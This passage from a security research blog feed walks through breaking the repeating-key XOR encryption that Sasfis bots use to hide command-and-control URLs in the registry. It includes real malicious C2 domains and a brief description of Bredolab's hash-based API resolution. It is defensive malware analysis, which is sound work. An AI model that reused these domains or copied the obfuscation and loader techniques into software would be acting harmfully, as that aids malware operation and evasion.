<p>The obvious move at this point is to test this theory. We can start with the first row of hex data from the <strong>T3</strong> and <strong>M2</strong> tests, recover the key for <strong>T3</strong> using the hard coded URL for that variant, then find out if the key is correct by decrypting <strong>M2</strong> with it. The worksheet below shows the hard coded <strong>URL</strong> and the <strong>url0</strong> registry data for<strong> T3</strong> in the first two lines. At the bottom is the URL in <strong>text</strong> format and in the <strong>plain</strong> line are the equivalent hex bytes.</p>
<p><strong>T3</strong> <span style="font-family: courier new">http://gnfdt.cn/loader/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17 (encrypted in reg)</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><span style="font-family: courier new"> (url in hex format)</span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /  (</span><span style="font-family: courier new">known URL)</span></p>
<p>We will assume that the key was <strong>XOR</strong>ed with the plaintext to produce this encryption. That is the most likely case, but if we are wrong it will be necessary to try some other methods. From this basis we will now <strong>XOR</strong> the <strong>encrypted</strong> and <strong>plain</strong> bytes to recover the <strong>key</strong>.</p>
<p><strong>T3</strong> <span style="font-family: courier new">http://gnfdt.cn/loader/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span><span style="font-family: courier new"> (encrypted in reg)</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><span style="font-family: courier new"> (recovered key)</span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><span style="font-family: courier new"> (url in hex format)</span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /  (</span><span style="font-family: courier new">known URL)</span></p>
<p>Now we have some key bytes, but there is no proof that they are real. To prove that, we can use the key bytes to decrypt <strong>M2</strong>. The result is below. Part of the URL that is hard coded into the <strong>M2</strong> bot has been revealed.</p>
<p><strong>M2</strong> <span style="font-family: courier new">http://hqdedikit.com/mld/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c</span><span style="font-family: courier new"> (encrypted in reg)</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><span style="font-family: courier new"> (recovered key)</span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"><span>plain      68 74 74 70  3a 2f 2f 68  71 64 65 64  69 6b 69 74</span></span> (decrypted hex)</span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  h   q  d  e  d   i  k  i  t  (decrypted text)</span></p>
<p>So our case is proved, the hard coded URL is the one hidden in the registry key. We can easily extend this through the rest of the encrypted data to show the whole URL, and remove any lingering doubt.</p>
<p><strong>But what would we do if each bot variant had its own key?</strong> The method above would not work, but there are other ways to approach this problem. One way is to check whether this is a repeating key encryption system. They are very common, and if it is we can make comparisons within one URL, instead of using two as we did above.</p>
<p>Let&#8217;s try this method with <strong>T3</strong>. The simple way is to use the whole URL to find as many key bytes as possible, then look for repetitions.</p>
<p><strong>T3</strong> <span style="font-family: courier new">http://gnfdt.cn/loader/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        <strong>76 ef 19 a8</strong>   b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /</span></p>
<p><span style="font-family: courier new">00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        <strong>76 ef 19 a8</strong> b3 c9 eb 37  11 9b 77 1f  d4 </span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      6c 6f 61 64  65 72 2f 62  62 2e 70 68  70</span></span></p>
<p><span style="font-family: courier new">text       l  o  a  d   e  r  /  b   b  .  p  h   p </span></p>
<p>Here we can see that the key starts to repeat at the start of the second row. So the key length is 16 bytes, and again we have proved that the key holds the hard coded URL. Decrypting the next byte at the end provides a little bonus, <strong>0&#215;81 XOR 0&#215;81 = 0&#215;00</strong>, the null terminator for the string. Decryption from this point onward exposes bytes that appear to be random.</p>
<p><strong>But now consider another scenario,</strong> <strong>what would we do if we had no idea what the encrypted URLs were?</strong> If we have bots with different URLs using the same key, the problem is not beyond solution. To demonstrate I will use the data from <strong>T1</strong> and <strong>M1</strong>, from the other key group. It turns out, in the end, that only the first two lines of hex are needed for this, so the example below will not show the third line.</p>
<p>First we need to locate the key repetition. We can try <strong>&#8220;http://&#8221;</strong> at the start to find the first seven key bytes. With these key bytes we can  decrypt at different locations until some URL-like text appears. The bot code probably processed this as DWORDs, so we will take a shortcut by checking at four byte intervals, and use only four key bytes for each decryption. If this fails we will have to try decrypting at different intervals, possibly even at every byte. The <strong>&#8220;?&#8221;</strong> marks below indicate decrypted bytes outside the normal text range, which we would not expect in a URL.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        <strong>90 ef 54 12  c6 67 ff</strong> <strong>90 </strong>ef 54 12  <strong>90 </strong>ef 54 12</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f     ac 13 43 e3  01 be be 2d</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /      ?  ?  C  ?   ?  ?  ?  -</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        <strong>90 </strong>ef 54 12<strong> 90 </strong>ef 54 12<strong> 90</strong> ef 54 12<strong> 90</strong> ef 54 12</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  3a ec 84 2f  b7 51 5c ea  15 d8 10 95</span></span></p>
<p><span style="font-family: courier new"> text       <strong><span style="color: #ff0000">c  n  /  m</span> </strong> :  ?  ?  /   ?  Q  \  ?   ?  ?  ?  ?</span></p>
<p>The true decryption appears to be <strong>&#8220;</strong><span style="font-family: courier new"><strong><span style="color: #000000">cn/m&#8221;</span></strong><span style="font-family: verdana"><span><span style="background-color: #ffffff"><span style="color: #000000">,</span></span></span></span><span><span style="background-color: #ffffff"><span style="color: #000000"><span style="font-family: verdana"> at the start of the second row. None of the others is even close.</span> </span></span></span></span>So it looks like we have found the key repetition and the key length. With this information we can set up our work sheet, with the known key bytes and decryptions they give us filled in. It can be seen below, where the decrypted parts confirm our work so far.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f</span></span></p>
<p><span style="font-family: courier new"> text       <strong>h  t  t  p   :  /  /</strong></span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f</span> </span></p>
<p><span style="font-family: courier new"> text       <strong>c  n  /  m   l  d  /</strong> </span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f</span></span></p>
<p><span style="font-family: courier new"> text       <strong>h  t  t  p   :  /  /</strong></span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65</span></span></p>
<p><span style="font-family: courier new"> text       <strong>t  /  l  o   a  d  e</strong></span></p>
<p>Now we need to extend the URL text parts to uncover more key bytes. In other words we need to make some good guesses, but because the structure of URLs is well known to us, this should not be too difficult.</p>
<p>Notice that the second text line under <strong>T1</strong> starts with <strong>&#8220;cn/mld/&#8221;</strong>. This looks like a <strong>&#8220;.cn&#8221;</strong> top level domain, so let&#8217;s fill in the <strong>&#8220;.&#8221;</strong> and apply the key byte we get.</p>
<p><span style="font-family: courier new"><strong>T1 </strong>00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff                           11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f                           2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /                            <strong>.</strong></span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f                           96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /                            <strong>?</strong></span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff                           11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f                           65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /                            <strong>e</strong></span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65                           00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e                            <strong></strong></span></p>
<p>Now we have some more decrypted bytes. There is a null at the end of <strong>M1</strong>, this must be the URL string terminator, and a non-text byte (0&#215;96), but let&#8217;s ignore that one for now. It may be junk from beyond the end of the URL string, and we will know soon enough if this was a bad guess. At the end of the first <strong>M1</strong> line the text character is an <strong>&#8220;e&#8221;</strong>, so that we now have <strong>&#8220;et/loade&#8221;</strong>. This looks like it must be <strong>&#8220;.net/loader&#8221;</strong>, so next we will fill this in and decrypt some more.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d                  65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  <strong>m</strong> <strong>e  r</strong> .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62                  00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  <strong>b</strong> <strong> ?</strong> ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f                  34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75                  2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  <strong>u </strong> <strong>.  n</strong> e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72                  68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  <strong>r</strong> <strong>h  p</strong> </span></p>
<p>There is nothing very obvious here, but at the end of the second row of <strong>M1</strong> we have <strong>&#8220;hp&#8221;</strong>. This looks like it could be <strong>&#8220;.php&#8221;</strong>, so let&#8217;s try that next.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d           61  64 65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  m            <strong>a   d</strong> e  r  .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62           68  70 00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  b            <strong>h   p</strong> ?  ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75           69  74 2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  u            <strong>i   t</strong> .  n  e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f           90  f5 </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72           2e  70 68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  r            <strong>.   p</strong> h  p </span></p>
<p>This looks good, and now we have some good hints. In <strong>T1</strong>, in the first line, it looks like we have <strong>&#8220;//m?loader.&#8221;</strong> and in the second line another <strong>&#8220;.php&#8221;</strong> is developing. We can put these in.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f     90 78 </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d     6c 6f 61  64 65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  m      <strong>l  o</strong> a   d  e  r  .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62     2e 70 68  70 00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  b      <strong>.  p</strong> h   p   ?  ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75     6c 69 69  74 2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  u      <strong>l  i</strong> i   t  .  n  e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 90  f5 </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72     62 62 2e  70 68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  r      <strong>b  b</strong> .   p  h  p </span></p>
<p>Now, in the second line of <strong>M1</strong>, we have <strong>&#8220;bb.php&#8221;</strong>, and it looks like this also appears in <strong>&#8220;mld/b?.php&#8221;</strong> at second line of <strong>T1</strong>. With this we can fill in the last missing byte.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">45</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 90 78 </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d  79 6c 6f 61  64 65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  m   <strong>y</strong> l  o  a   d  e  r  .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f  45 </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62  62 2e 70 68  70 00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  b   <strong>b</strong> .  p  h   p   ?  ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">45</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75  6b 6c 69 69  74 2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  u   <strong>k</strong> l  i  i   t  .  n  e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">45</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 90  f5 </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72  2f 62 62 2e  70 68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  r   <strong>/</strong> b  b  .   p  h  p </span></p>
<p>So even if the URLs are unknown, we can still decrypt them if bots with different URLs use the same key. In fact all of the pairs from this group {T1-M1, M1-M5, and T1-M5} can be solved without any really difficult guessing, and using all three makes it much easier. Even when it is not clear what text to fill in next, we can always try different guesses until we find the right one.</p>
<p>Of course the weaknesses in this encryption could have been avoided, or at least reduced. For example, not re-using keys would have helped. What we may be seeing here is evidence that, like many computer users, bot herders don&#8217;t take security as seriously as they should.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>API Resolution in W32/Bredolab.AC!tr.dldr</title>
		<link>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/</link>
		<comments>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 19:54:07 +0000</pubDate>
		<dc:creator>RAlvarez</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[bredolab]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1003</guid>
		<description><![CDATA[In-depth analysis of malware shows different methods of obfuscating their codes. They employ different tactics to hide themselves to harden analysis. They also dynamically load functions that they will be using. Those functions more often times called API (Application Programming Interface) are commonly loaded when we run an application.
Malware authors also use dynamic function loading [...]]]></description>
			<content:encoded><![CDATA[<p>In-depth analysis of malware shows different methods of obfuscating their codes. They employ different tactics to hide themselves to harden analysis. They also dynamically load functions that they will be using. Those functions more often times called API (Application Programming Interface) are commonly loaded when we run an application.</p>
<p>Malware authors also use dynamic function loading to enable itself to adapt to different operating system. They use it to enable their program to run on Windows XP, Vista, Windows 7 or other platform.</p>
<p>Common practice is to list all function names as an array of strings to be loaded once the application is running. They used a combination of LoadLibrary and GetProcAddress functions to get the proper addresses. Still some try to use other techniques of getting those addresses without even using those two functions.</p>
<p>Let’s take a closer look at how W32/Bredolab.AC!tr.dldr resolved its API addresses.</p>
<p>W32/Bredolab.AC!tr.dldr did not use a list of API strings,  instead it uses a list of hash values equivalent of the APIs. The hash is computed as below:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo1.jpg"><img class="alignnone size-full wp-image-1004" title="bredo1" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo1.jpg" alt="bredo1" width="531" height="181" /></a></p>
<p><strong> These are the steps how the malware got the right API  addresses without using LoadLibrary and GetProcAddress functions. </strong></p>
<p>Step 1:</p>
<p>It first copies the DLL file that it needs in a “%temp%” folder with TMP??.tmp as the filename(?? is a 2-digit number).</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo2.jpg"><img class="alignnone size-full wp-image-1005" title="bredo2" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo2.jpg" alt="bredo2" width="526" height="193" /></a></p>
<p>Step 2:</p>
<p>It then loads the TMP??.tmp to its address space.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo3.jpg"><img class="alignnone size-full wp-image-1006" title="bredo3" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo3.jpg" alt="bredo3" width="516" height="133" /></a></p>
<p>Step 3:</p>
<p>After loading the tmp file which is the equivalent dll file, it can now work on parsing it.  It parses its content, technically in the export table to get the list of function names. It then computes a hash value for each name and compare it to its own list.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo4.jpg"><img class="alignnone size-full wp-image-1007" title="bredo4" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo4.jpg" alt="bredo4" width="566" height="188" /></a></p>
<p>Once it gets the right hash value, it then gets the address of the function. And it starts back on Step 1 till it gets all the addresses it needs.</p>
<p>This technique of getting API addresses is not new. But it still serves as a basis of how malware works. Malware authors go to some lengths just to try to make analysis harder. I imagine that this is not even half of what the malware does.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>RSA Conference: Ransomware and Industrial Spying</title>
		<link>http://blog.fortinet.com/rsa-conference-ransomware-and-industrial-spying/</link>
		<comments>http://blog.fortinet.com/rsa-conference-ransomware-and-industrial-spying/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 22:39:07 +0000</pubDate>
		<dc:creator>JLeggio</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[industrial spying]]></category>
		<category><![CDATA[ransomware]]></category>
		<category><![CDATA[rsa conference]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=998</guid>
		<description><![CDATA[Two of Fortinet&#8217;s FortiGuard Labs researchers will be on hand at next week&#8217;s RSA Conference to present their research in the Fortinet booth theater (#2225). The presentations focus on ransomware and industrial spying, two hot topic areas that are on the minds of security professionals at enterprises today. Here is a bit of information:
All Your [...]]]></description>
			<content:encoded><![CDATA[<p>Two of Fortinet&#8217;s FortiGuard Labs researchers will be on hand at next week&#8217;s RSA Conference to present their research in the Fortinet booth theater (#2225). The presentations focus on ransomware and industrial spying, two hot topic areas that are on the minds of security professionals at enterprises today. Here is a bit of information:</p>
<p style="padding-left: 30px;"><strong>All Your Data Are Belong To Us</strong><br />
